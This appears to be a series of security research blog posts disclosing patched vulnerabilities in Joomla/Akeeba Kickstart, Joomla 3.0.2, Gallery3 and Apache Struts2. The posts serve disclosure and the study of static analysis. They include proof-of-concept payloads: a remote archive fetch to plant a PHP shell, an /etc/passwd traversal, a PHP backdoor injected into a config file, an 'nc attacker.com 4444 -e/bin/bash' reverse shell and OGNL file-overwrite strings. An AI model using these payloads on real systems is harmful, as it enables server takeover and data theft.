Joomla! 3.3.4 / Akeeba Kickstart – Remote Code Execution (CVE-2014-7228)

October 5, 2014

In our latest paper we evaluated the new RIPS prototype regarding its ability to statically detect PHP object injection (POI) vulnerabilities and related gadget chains in PHP applications. Among others, the prototype reported a previously unknown POI vulnerability in Joomla 3.0.2. It turned out, that this vulnerability was still present in the (at that time) latest Joomla! 3.3.4 version. However, it appeared to be not exploitable because of some requirements and missing chains. Lately, I had a look at it again and found a way to exploit it in 5 steps. The last step still makes exploitation difficult and the severity can be rated as high.

1. Encryption Bypass

The vulnerability affects the Akeeba Kickstart package used in Joomla’s com_joomlaupdate component located in administrator/components/com_joomlaupdate/restore.php. This file is remotely accessible to any unprivileged (not logged-in) user and no authentication check is performed by Joomla!. It is used to install new Joomla! updates from a local ZIP file.
In the masterSetup() function, Akeeba Kickstart checks for an existing restoration.php file and includes it to initialize basic setup parameters. If the restoration.php file does not exist, the execution is aborted. We will come back to this condition later.

$setupFile = 'restoration.php';

if( !file_exists($setupFile) )
{
	// Uh oh... Somebody tried to pooh on our back yard. Lock the gates! Don't let the traitor inside!
	AKFactory::set('kickstart.enabled', false);
	return false;
}

// Load restoration.php. It creates a global variable named $restoration_setup
require_once $setupFile;

Once the file is successfully included, a Joomla! update is performed based on the included setup parameters and externally provided parameters. To avoid tampering, the external parameters are encrypted with AES-128 in CTR mode. However, it is possible to completely bypass the encryption abusing PHP oddities. In Akeeba Kickstart, all parameters are fetched with the getQueryParam() function.

function getQueryParam( $key, $default = null )
{
	if(array_key_exists($key, $_REQUEST)) {
		$value = $_REQUEST[$key];
	} elseif(array_key_exists($key, $_POST)) {
		$value = $_POST[$key];
	} elseif(array_key_exists($key, $_GET)) {
		$value = $_GET[$key];
	} else {
		return $default;
	}
	return $value;
}

It returns parameters from the superglobal $_REQUEST, $_POST, or $_GET array, if existent. First, the external setup parameter json is fetched through getQueryParam(). Then, all entries in the $_REQUEST array are removed to delete all other parameters supplied by the user.

$json = getQueryParam('json', null);

if(!empty($_REQUEST))
{
	foreach($_REQUEST as $key => $value)
	{
		unset($_REQUEST[$key]);
	}
}

However, $_REQUEST holds only a copy (not a reference) of $_GET and $_POST entries. That means that all provided GET and POST parameters are still available in the corresponding array, even when unset in $_REQUEST. The next lines decrypt the json parameter and populate its json encoded data into the $_REQUEST array again.

// Decrypt a possibly encrypted JSON string
if(!empty($json))
{
	$password = AKFactory::get('kickstart.security.password', null);
	if(!empty($password))
	{
		$json = AKEncryptionAES::AESDecryptCtr($json, $password, 128);
	}

	// Get the raw data
	$raw = json_decode( $json, true );
	// Pass all JSON data to the request array
	if(!empty($raw))
	{
		foreach($raw as $key => $value)
		{
			$_REQUEST[$key] = $value;
		}
	}
}

At this point, an attacker can leave the json parameter empty. The function getQueryParam() still returns parameters from $_GET and $_POST because only the $_REQUEST array was emptied. This way, no encryption key is required to provide further setup parameters that are fetched through getQueryParam().

2. PHP Object Injection

The POI vulnerability is straight-forward and appears in the next lines. The factory parameter is fetched through getQueryParam() and fed into the unserialize() method of AKFactory.

// A "factory" variable will override all other settings.
$serialized = getQueryParam('factory', null);  
if( !is_null($serialized) )  
{  
	// Get the serialized factory  
	AKFactory::unserialize($serialized); 
}

This method basically base64 decodes the parameter and instantiates the AKFactory class by unserializing the serialized object and storing it as instance.

Gadget Chains

Lets have a quick look at available gadgets. Akeeba Kickstart’s restore.php file works independently from the Joomla! code base. That means that no classes of Joomla! are loaded and no initial gadgets of Joomla! can be abused. However, it ships some own classes with defined magic methods.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

class AKPostprocFTP 
{
	function __wakeup()
	{
		$this->connect();
	}

	public function connect()
	{
		// Connect to server, using SSL if so required
		if($this->useSSL) {
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		} else {
			$this->handle = @ftp_connect($this->host, $this->port);
		}
		...
	}
}

These gadget chains do not impose a big security risk though and can at most be abused for SSRF or DoS. Considering the precondition of manually creating the restoration.php file, I felt this is not really exploitable, regardless of the encryption bypass.

3. Remote Code Execution

An important lesson I learned from this vulnerability is to not only have a look at the triggered gadget chains of a POI, but also to not forget to look at how the injected object affects the control flow after the injection. Until now, we have full control over the AKFactory instance with the PHP object injection that was triggered in the masterSetup() function.

masterSetup();

$retArray = array(
	'status'	=> true,
	'message'	=> null
);

$enabled = AKFactory::get('kickstart.enabled', false);

if($enabled)
{
	$task = getQueryParam('task');

	switch($task)
	{
		case 'ping':
			// ping task - realy does nothing!
			$timer = AKFactory::getTimer();
			$timer->enforce_min_exec_time();
			break;
		case 'startRestore':
			AKFactory::nuke(); // Reset the factory
		case 'stepRestore':
			$engine = AKFactory::getUnarchiver(); // Get the engine
			$observer = new RestorationObserver(); // Create a new observer
			$engine->attach($observer); // Attach the observer
			$engine->tick();
			...
			$retArray['files'] = $observer->filesProcessed;
			$retArray['bytesIn'] = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status'] = true;
			$retArray['done'] = false;
			$retArray['factory'] = AKFactory::serialize();
			...
			break;
	}
}

After the update is prepared by the masterSetup(), we can start an update by setting the task parameter to startRestore or trigger the next step of the update by setting it to stepRestore. This API is used by AJAX requests to constantly check for the update status by reading the content of the later printed $retArray.

Since the AKFactory is under our control, we can manipulate its settings and data. It holds an AKUnarchiver object that is responsibe to extract files from a given archive file (ZIP, JPS, or JPA format). The AKUnarchiver is fetched in line 5597 and its next step is invoked in line 5600. The different formats are parsed in different classes and I will not cover the details here. The important thing is, that all these unpacking classes extend the class AKAbstractUnarchiver and inherit the magic method __wakeup() already introduced in step 2.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

If the PHP setting allow_url_fopen is enabled (which is the default) we can point to an external archive file that is then extracted to the destination directory of our choice. This way, an attacker can get remote code execution on the targeted web server, by extracting a PHP shell into the targeted Joomla installation from a ZIP archive on his web server. The injected AKFactory could look similar to the following PoC:

// very short, non-working PoC

class AKFactory {
	public function __construct() {
		$this->objectlist['AKUnarchiverZip'] = new AKUnarchiverZip;
		$this->varlist['kickstart.enabled'] = true;
		$this->varlist['kickstart.security.password'] = '';
	}
}

class AKUnarchiverZIP {
	public function __construct() {
		$this->archiveList[0] = 'http://myserver/exploit.zip';
		$this->addPath = '/var/www/joomla/';
	}
}

A remaining step is to find out the local document root path on the targeted web server where the PHP shell should be extracted to. While /var/www/ might be very common, different web server use different paths on different operating systems.

4. Path Disclosure

Due to the PHP object injection we can trigger fatal errors in the application to receive the document root path from an error message. However, this would require error reporting and displaying by PHP, which is often disabled in production environments.

The previously mentioned $retArray does not only contain the current status about the processed files added so far, but also the complete serialized AKFactory object (line 5607). It is printed json encoded to the HTML response page.

$json = json_encode($retArray);
// Do I have to encrypt?
$password = AKFactory::get('kickstart.security.password', null);
if(!empty($password))
{
	$json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);
}

// Return the message
echo "###$json###";

The encryption can be bypassed again, if we use the PHP object injection to overwrite the kickstart.security.password setting in AKFactory with an empty password. One way to include the document root into the AKFactory is to set the kickstart.setup.destdir setting in our injected AKFactory object to an empty string. Then, the built-in function getcwd() will fill the destination directory with the current working directory of the script.

$destdir = self::get('kickstart.setup.destdir', null);
if(empty($destdir))
{
	$destdir = function_exists('getcwd') ? getcwd() : dirname(__FILE__);
}

This way, the full path of the script is added to the serialized AKFactory object in the HTML response and the document root can be obtained by the attacker. Also, if the restoration.php file is created naturally, it includes the destination directory of the update as setup parameter. It usually points to an installation directory within the document root.

5. Ping or CSRF (CVE 2014-7229)

One important last step remains for exploitation. The Akeeba Kickstart script will abort in the beginning if no restoration.php file exists. This file is created during an update, but is deleted again at the end of an update. This makes it difficult to exploit the issue, but not impossible.

An update lasts about 3 seconds. That means an attacker can constantly ping the targeted installation for an existing administrator/components/com_joomlaupdate/restoration.php file during an update period. If the administrator performs the update, the restoration.php file will exist long enough to carry out the attack. Note, that this attack would generate quite some log entries.

For Joomla!, there is an alternative. The following URL will create a valid restoration.php file persistently if opened by an administrator:

/administrator/index.php?option=com_joomlaupdate&task=update.install

Joomla! will attempt to start an update but cannot finish it because of missing parameters. Because no CSRF token is in place, the link can be used against logged-in administrators in a CSRF attack (e.g., Joomla article comment). Once the CSRF attack succeeded, the attacker can exploit at any time.

Summary

Joomla! 3.3.4 and various Akeeba Backup products are affected by a vulnerability that leads to remote code execution on the targeted web server. However, the attack requires social engineering against an administrator or repeatedly sent requests to the web server until an update is performed.

Joomla! and Akeeba Backup have released patches. It it is advised to update your software immediately and if possible, this time maybe not through Akeeba Kickstart ;). You may also want to check your web server’s access.log. I would like to thank Michael Babker (JSST) and Nicholas Dionysopoulos (Akeeba) for a very fast respond and patch time!

Timeline

[24.09.2014] – Asking for direct contact at JSST and Akeeba Backup
[24.09.2014] – Advisory + PoC disclosure to both vendors
[24.09.2014] – Patch provided by Akeeba Backup for review
[29.09.2014] – CVE-2014-7228 and CVE-2014-7229 assigned
[30.09.2014] – Security updates for affected Akeeba products released
[30.09.2014] – Joomla! 3.3.5 released
[01.10.2014] – Joomla! 3.3.6 released


Joomla! 3.0.2 POI (CVE-2013-1453) – Gadget Chains

October 3, 2014

I am still developing a new prototype for the precise static code analysis of PHP applications as part of my PhD research. Recently, I added the detection of second-order vulnerabilities and the analysis of exploitable gadget chains for PHP Object Injection (POI) / unserialize vulnerabilities.

In the evaluation of the latest paper, we tried to detect known POI vulnerabilities from CVE entries as well as new POI vulnerabilities with the new RIPS prototype. On request, I am publishing the detected gadget chains for CVE-2013-1453. Please note, that these chains do not impose new security risks to the latest Joomla! version and are only overlooked ways of exploitation for an old vulnerability.

The details of the POI vulnerability in Joomla! 3.0.2 are explained by Egidio Romano. With the support of object-oriented code the new RIPS prototype could detect this vulnerability successfully. Once a POI is found, its severity is defined by the available gadget chains an attacker can use for exploitation. RIPS is capable of analyzing possible chains automatically. The details for two gadget chains were manually found and published previously. Next to these two chains, RIPS detected another 3 chains. Two of them I found quite interesting.

Autoloaded Local File Inclusion

The most useful initial gadget in Joomla! 3.0.2 is the __destruct() method of the class plgSystemDebug. It calls the method isAuthorisedDisplayDebug() which then calls the method get() on the object in the property params. Because this property is under the attackers control he can deligate the control flow to any get() method defined in Joomla’s classes by instantiating an object of the class of choice in the property params.

// plugins/system/debug/debug.php

class plgSystemDebug
{
	public function __destruct()
	{ 
		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}
	}

	private function isAuthorisedDisplayDebug()
	{
		$filterGroups = (array) $this->params->get('filter_groups', null);
		...
	}

The get() method in JInput can be used to trigger a file deletion and the method in JCategories triggers a blind SQL injection. Lets have a look at the get() method of the class JViewLegacy:

// libraries/legacy/view/legacy.php

class JViewLegacy
{
	public function get($property, $default = null)
	{
		if (is_null($default))
		{
			$model = $this->_defaultModel;
		}
		else
		{
			$model = strtolower($default);
		}

		if (isset($this->_models[$model]))
		{
			$method = 'get' . ucfirst($property);

			if (method_exists($this->_models[$model], $method))
			{
				...
			}

		}
	}
}

While easily overlooked in manual audits, built-in functions such as method_exists() and class_exists() are configured in RIPS as conditional sensitive sinks. If their first argument is controlled by an attacker and a vulnerable autoloader was detected, a security vulnerability report is issued. The reason for this is that these built-in functions automatically invoke any defined autoloader, as noted in the PHP manual for method_exists():

"Note: Using this function will use any registered autoloaders if the class is not already known."

A autoloader is considered to be vulnerable, if the class name in the first parameter is not sanitized before it is used in a sensitive sink (commonly a file inclusion). Then, a tainted argument of method_exists() can reach this sensitive sink when the autoloader is invoked with it. This works for PHP 5.1.0 – 5.4.23 and PHP 5.5.0 – 5.5.7 and was patched in PHP 5.4.24 and 5.5.8, where only alphanumeric class names invoke the autoloader.

Joomla! 3.0.2 defines two autoloaders:

spl_autoload_register(array('JLoader', 'load'));  
spl_autoload_register(array('JLoader', '_autoload')); 

The autoloader JLoader::load() basically looks up the class name in a static list of classes. The autoloader JLoader::_autoload() is able to dynamically include classes. If the class name starts with the prefix letter J, the class file is looked up within the method _load() in the base directories libraries/joomla/, libraries/legacy/, and libraries/cms/. Subdirectories are determined by splitting a camel cased class name at its uppercase letters.

// libraries/loader.php

abstract class JLoader
{
	private static function _load($class, $lookup)
	{
		// Split the class name into parts separated by camelCase.
		$parts = preg_split('/(?<=[a-z0-9])(?=[A-Z])/x', $class);

		foreach ($lookup as $base)
		{
			$path = $base . '/' . implode('/', array_map('strtolower', $parts)) . '.php';

			if (file_exists($path))
			{
				 include $path;
			}
		}
	}
}

For example, the unknown class JFooBar will result in the following three autoload lookups:

libraries/joomla/foo/bar.php
libraries/legacy/foo/bar.php
libraries/cms/foo/bar.php

Thus, a lookup of the class J../../../../../../etc/passwd%00 in method_exists() can be triggered through this gadget chain. For this purpose the payload has to reside as default model in the models array of the JViewLegacy object.

// PoC

class JViewLegacy {
	protected $_defaultModel;
	protected $_models = array();
	public function __construct() {
		$this->_defaultModel = 'rips';
		$this->_models['rips'] = "J../../../../../../etc/passwd\x00";
	}
}

This will successfully launch a path traversal attack with null byte injection in Joomlas autoloader and include the local /etc/passwd file (PHP 5.1.0 – 5.3.3). Note, that directly unserializing an object of this class name would not work, because unserialize allows only alphanumeric class names in a serialized string (it does work in PHP 5.0.0 – 5.0.3 though).

File Permission Modification

A less severe and at first sight straight-forward chain was reported in the class JStream. Its __destruct() method calls the method close(), which calls the method chmod(). It allows to change the file permissions of an arbitrary file defined in the filename property to the rights defined in the filemode property (line 43). One could also trigger a connection string injection through JFilesystemHelper::ftpChmod() for SSRF exploitation in line 39 but we ignored this in our evaluation (update: this can also be used for DoS).

// libraries/joomla/filesystem/stream.php

class JStream
{
	public function __destruct()
	{
		if ($this->fh)
		{
			@$this->close();
		}
	}

	public function close()
	{
		if ($this->openmode[0] == 'w')
		{
			$this->chmod();
		}
	}

	public function chmod($filename = '', $mode = 0)
	{
		if (!$filename)
		{
			$filename = $this->filename;
		}

		if (!$mode)
		{
			$mode = $this->filemode;
		}

		$sch = parse_url($filename, PHP_URL_SCHEME);

		switch ($sch)
		{
			case 'ftp':
			case 'ftps':
				$res = JFilesystemHelper::ftpChmod($filename, $mode);
				break;

			default:
				$res = chmod($filename, $mode);
				break;
		}
	}
}

Interesting about this chain is the exploitation. Although it seems straight-forward, the class JStream is not loaded by default. RIPS reported this chain nonetheless because it detected an autoloader. What RIPS does not know (and cannot reason about) is that the autoloader does not work for the class name JStream because it resides in /libraries/joomla/filesystem/stream.php. Thus, the correct class name of JStream for the autoloader should be JFilesystemStream. However, because the autoloader does not find libraries/joomla/stream.php, the class is not included and the unserialize() fails. For successfull exploitation, one has to somehow fix the autoloader.

My first idea was to abuse the previously introduced POP chain to trigger a method_exists() call on the string “JFilesystemStream”. This would invoke the autoloader to correctly include JStream and the application would be able to unserialize another injected JStream object. However, there is a much simpler solution:

// PoC

class JFilesystemStream {
}

class JStream {
	protected $fh;
	protected $openmode;
	protected $filename;
	protected $filemode;
	public function __construct() {
		$this->fh = true;
		$this->openmode[0] = 'w';
		$this->filename = '/tmp/rips';
		$this->filemode = 0777;
	}
}

echo base64_encode(serialize(array(array(new JFilesystemStream, new JStream))));

We simply create a fake object of the non-existing class JFilesystemStream in an array before our actual JStream object. During deserialization the class name JFilesystemStream will invoke the autoloader for us first and resolve the correct file for the JStream class. Then, our weaponized JStream object will be loaded successfully. The class JFilesystemStream does not exist and the first unserialized object will be of type __PHP_Incomplete_Class. This would trigger a catchable fatal error in the application flow after the POI which can be avoided by using a multi-dimensional array. At the end, the __destruct() method of the JStream class is successfully triggered and the chain is executed to change the file permissions.

Directory Creation

The third chain in our report leverages a call to a different get() method when injecting a plgSystemDebug object. It allows to create arbitrary directories in the file system. Note, because of the low severity, we grouped this chain and the previous chain to the generic name Filesystem Manipulation. The name of the exploited class JCacheStorageFile fits to its file path such that no autoloader tricking is neccessary.

// libraries/joomla/cache/storage/file.php

class JCacheStorageFile {

	public function get($id, $group, $checkTime = true)
	{
		$path = $this->_getFilePath($id, $group);
		...
	}

	protected function _getFilePath($id, $group)
	{
		$name = $this->_getCacheId($id, $group);
		$dir = $this->_root . '/' . $group;

		if (!is_dir($dir))
		{
			$indexFile = $dir . '/index.html';
			@ mkdir($dir) && file_put_contents($indexFile, '');
		}
	}
}

One could argue about the severity of this chain, but as I will show in the next post and as demonstrated earlier, it can be very handy to know about file system modifications. For example, the application might check if the installation directory is present and only then expose features that would not be exploitable otherwise. Thus, this chain was counted as true positive report in our paper.

The evaluation showed once again that precise static code analysis can be really helpful to point you to a vulnerability. However, the exploitation of the affected code path is often not as straight-forward as it seems.


Gallery Project 3.0.4 BugBounty: Remote Code Execution (admin)

March 6, 2013

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

$config = array("host" => $_POST["dbhost"],
                "user" => $_POST["dbuser"],
                "password" => $_POST["dbpass"],
                "dbname" => $_POST["dbname"],
                "prefix" => $_POST["prefix"],
                "type" => function_exists("mysqli_set_charset") ? "mysqli" : "mysql");

To avoid code injection, single quotes within the password are escaped in /gallery3/installer/web.php line 44:

    foreach ($config as $k => $v) {
      if ($k == "password") {
        $config[$k] = str_replace("'", "\\'", $v);
      } else {
        $config[$k] = strtr($v, "'`", "__");
      }
    }

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

$config['default'] = array(
  'benchmark'     => false,
  'persistent'    => false,
  'connection'    => array(
    'type'     => '<?php print $type ?>',
    'user'     => '<?php print $user ?>',
    'pass'     => '<?php print $password ?>',
    'host'     => '<?php print $host ?>',

A single quote in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:

\\',"f"=>system($_GET[c]),//

During the installation process he specifies his external MySQL server and enters the following password:

\',"f"=>system($_GET[c]),//

Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

$config['default'] = array(
	'benchmark'	=> false,
	'persistent'	=> false,
	'connection'	=> array(
		'type'	=> 'mysqli',
		'user'	=> 'reiners',
		'pass'	=> '\\',"f"=>system($_GET[c]),//',
		'host'	=> 'attacker.com',

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

  public function delete() {
    access::verify_csrf();

    $form = watermark::get_delete_form();
    if ($form->validate()) {
      if ($name = module::get_var("watermark", "name")) {
        @unlink(VARPATH . "modules/watermark/$name");

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.

Bonus

The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

    $command = "mysqldump --compact --skip-extended-insert --add-drop-table -h{$conn['host']} " .
      "-u{$conn['user']} $pass {$conn['database']} > $sql_file";
    exec($command, $output, $status);

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc attacker.com 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

mysqldump --compact --skip-extended-insert --add-drop-table -hattacker.com -ureiners -p1 ; 
nc attacker.com 4444 -e/bin/bash;

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.


Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java

January 4, 2012

This post was voted as 2nd best in the Top 10 Web Hacking Techniques of 2011 poll.

Introduction

Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter id was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:

request response
?id=abc abc
?id=abc’
?id=abc’||’def
?id=abc’+’def abcdef

Ok that looked promising. SQLi here we go:

request response
?id=abc’+/**/’def
?id=abc’+(select 1)+’def
?id=abc’+(select 1 from dual)+’def

Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?

request response
?id=abc’%00
?id=abc';%00
?id=abc’– -

No luck, so I started from the beginning:

request response
?id=abc’+’def abcdef
?id=abc’+1+’def abc1def
?id=abc’+(1)+’def abc1def
?id=abc’+a+’def abcnulldef

Wooty? That was really interesting. No DBMS would return null for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:

request response
?id=abc’+name+’def&name=foo abcfoodef

This was a Java app so I tried some more stuff and this one worked to my suprise:

request response
?id=abc’+(new java.lang.String(“foo”))+’def abcfoodef

Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts 2.2.2.1.

Apache Struts2, XWork and OGNL

Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork’s ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the parametername within the request to HelloWorld.action?parametername=1 is evaluated as OGNL expression.
A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like product.id=1 the OGNL parser will call the appropiate setter getProduct().setId(1) in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables.

Apache Struts2 vulnerabilities in the past

To prevent attackers calling arbitrary Java methods within parameters the flag xwork.MethodAccessor.denyMethodExecution is set to true and the SecurityMemberAccess field allowStaticMethodAccess is set to false by default.
Before Struts 2.2.2.1 it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability here. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts 2.2.2.1 was to apply a tightened character whitelist to XWork’s ParametersInterceptor, that prevents injecting the hashtag # and the backslash \ (for encoding the hashtag) and therefore prevents the access to the security flags.

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type Integer or Long with a value of type String. Then the value was evaluated as OGNL expression again – maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed.
Unfortunetly for me, the bug had been already reported two month earlier and was fixed (almost silently) in Struts 2.2.3.1. You can find a list of all security bulletings for Struts here. Reason enough to have another look.

New Apache Struts2 vulnerabilities

The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below 2.3.1.1) leading to remote code execution when Struts is configured to handle cookies.

The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in (‘ognl’)(x)=1 or you can use list indexes that are evaluated before used as in x[ognl]=1.
However you can not call arbitrary methods like x[@java.lang.System@exec('calc')]=1 because the security flag for allowStaticMethodAccess is disabled and the character @ (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma , is also not whitelisted) by providing name=foo or x[name('foo')]=1 that will both call the setter setName(‘foo’).

Then we found out you can also call constructors with one parameter with x[new java.lang.String('foo')]=1. This leads to a arbitrary file overwrite vulnerability when calling the FileWriter constructor x[new java.io.FileWriter('test.txt')]=1. To inject the forbidden slash / character into the filename one can use a existent property of type String, in example x[new java.io.FileWriter(message)]=1&message=C:/test.txt. FileWriter will automatically create an empty file or overwrite an existing one.

A detailed description of all vulnerabilities with example code and PoC can be found in our advisory.

Property oriented programming with Java

Sorry for the buzzword ;) But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new java.io.FileWriter(‘test.txt’) but we cannot call java.io.FileWriter(‘test.txt’).write(‘data’) because denyMethodExecution is enabled and OGNL would try to call the setter setWrite(‘data’) on the FileWriter object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the arbitrary file overwrite vulnerability into a file upload vulnerability.

So I downloaded lots of Apache Commons libraries and wrote some regexes to find interesting gadgets. Useful gadgets would be classes with public constructors having only one parameter:

"/public\s*[A-Za-z]*\s*$classname\s*\(([A-Za-z0-9_]+\s+[^,\s]+|\s*)\)\s*{[^}]*}/"

and having at least one setter with only one parameter:

"/public.*set[A-Za-z0-9_]+\s*\((String|long|int|\s*)\s*[^,]*\)\s*{/"

In Struts, XWork, OGNL and 9 additional Apache Commons libraries 239 classes with a public constructor and a total of 669 setters could be found.

Example 1

To my suprise I found exactly what I was looking for in the class PrettyPrintWriter shipped with Struts itself:

package org.apache.struts2.interceptor.debugging;

public class PrettyPrintWriter {
 [...]
    // constructors with 3, 2 and 1 parameter
    public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
        this.writer = new PrintWriter(writer);
        this.lineIndenter = lineIndenter;
        this.newLine = newLine;
    }

    public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
        this(writer, lineIndenter, "\n");
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
        this(writer, lineIndenter.toCharArray(), newLine);
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter) {
        this(writer, lineIndenter.toCharArray());
    }

    // constructor with only one parameter that accepts our FileWriter
    public PrettyPrintWriter(Writer writer) {
        this(writer, new char[]{' ', ' '});
    }

    // setter that will call write() on our FileWriter()
    public void setValue(String text) {
        readyForNewLine = false;
        tagIsEmpty = false;
        finishTag();

        writeText(writer, text);
    }

   protected void writeText(PrintWriter writer, String text) {
        writeText(text);
    }

    // write text to writer object
    private void writeText(String text) {
        int length = text.length();
        for (int i = 0; i < length; i++) {
            char c = text.charAt(i);
            switch (c) {
                case '\0':
                    this.writer.write(NULL);
                    break;            
                [...]
                default:
                    this.writer.write(c);
            }
        }
    }
 [...]
}

Perfect. We can create a new PrettyPrintWriter with the public constructor:

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]

We use the constructor in line 25 that accepts only one parameter (remember that the comma is not whitelisted) of type Writer (FileWriter is a subclass of Writer):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt'))]=1

This will save our FileWriter object to this.writer (line 7). Now we call the method value on our PrettyPrintWriter object and OGNL will try to call the setter setValue which indeed exists (line 30):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt')).value('data')]=1

The call of setValue will in the end call writeText that will call a write (line 53) with our data to our FileWriter object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.

However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:

foobar=AAAAAAAA…&x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.BufferedWriter(new java.io.FileWriter('test026.txt'))).value(foobar)]=1

The FileWriter is now wrapped in a BufferedWriter (a direct subclass of Writer). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept setValue as a valid setter because the property value does not exist in PrettyPrintWriter.

Example 2

There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class ContextBean:

package org.apache.struts2.components;

public abstract class ContextBean extends Component {
    protected String var;
    
    public ContextBean(ValueStack stack) {
        super(stack);
    }

    public void setVar(String var) {
        if (var != null) {
            this.var = findString(var);
        }
    }
}

